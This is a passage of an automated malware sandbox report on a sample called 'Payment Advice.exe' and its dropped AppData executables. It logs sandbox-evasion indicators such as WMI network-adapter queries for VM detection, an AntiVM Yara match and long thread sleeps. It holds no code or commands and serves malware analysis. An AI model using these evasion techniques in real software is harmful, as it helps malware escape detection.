Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Payment Advice.exe PID: 6700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sFPEKzHsLkYZIz.exe PID: 7524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7952, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7492, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\Payment Advice.exe	Memory allocated: 1240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Memory allocated: 2F00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Memory allocated: 2E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Memory allocated: 8EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Memory allocated: 78F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Memory allocated: 9EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Memory allocated: AEE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Memory allocated: B4F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Memory allocated: C4F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Memory allocated: D4F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Memory allocated: F80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Memory allocated: 2CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Memory allocated: 2AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Memory allocated: 3070000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Memory allocated: 30E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Memory allocated: 50E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Memory allocated: 8ED0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Memory allocated: 7870000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Memory allocated: 9ED0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Memory allocated: AED0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Memory allocated: B430000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Memory allocated: C430000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Memory allocated: D430000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Memory allocated: F50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Memory allocated: 2890000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Memory allocated: 4890000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 820000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 2440000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 2390000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 8180000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 6BA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 9180000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: A180000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: A780000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: B780000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: C780000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 1190000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 2D80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 1310000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 1170000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 2C70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 2AA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 88C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 7360000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 98C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: A8C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: AEB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 88C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 1130000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 2D50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 2B80000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199958
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199828
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199719

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4187	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5963	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 845	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Window / User API: threadDelayed 5328	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Window / User API: threadDelayed 4516	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Window / User API: threadDelayed 2012
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Window / User API: threadDelayed 7837
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Window / User API: threadDelayed 6232
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Window / User API: threadDelayed 3615
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Window / User API: threadDelayed 3599
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Window / User API: threadDelayed 6220

Source: C:\Users\user\Desktop\Payment Advice.exe TID: 6772	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7432	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7332	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7496	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7412	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -99653s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -99530s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -99312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -99201s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -99049s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -98922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -98812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -98703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -98594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -98484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -98375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -98266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -98156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -98044s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -97937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -97828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -97714s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -97559s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -97453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -97332s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -97203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -97093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -96984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -96874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -96766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -96641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -96531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -96421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -96312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -96203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -96094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -95984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -95875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -95766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -95656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -95547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -95437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -95328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -95219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -95109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -95000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -94891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -94781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -94672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -94562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -94453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe TID: 7604	Thread sleep time: -94344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7616	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep count: 39 > 30
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -35971150943733603s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7916	Thread sleep count: 2012 > 30
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -99874s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7916	Thread sleep count: 7837 > 30
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -99765s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -99656s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -99545s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -99437s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -99328s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -99218s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -99109s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -98996s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -98890s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -98780s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -98671s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -98562s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -98453s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -98343s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -98234s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -98117s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -98015s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -97906s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -97796s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -97687s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -97578s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -97466s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -97359s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -97249s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -97139s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -97030s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -96921s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -96812s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -96702s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -96593s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -96484s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -96374s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -96265s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -96156s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -96044s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -95937s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -95812s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -93076s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -92965s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -92858s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -92744s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -92640s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -92530s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -92421s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -92292s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -92148s >= -30000s
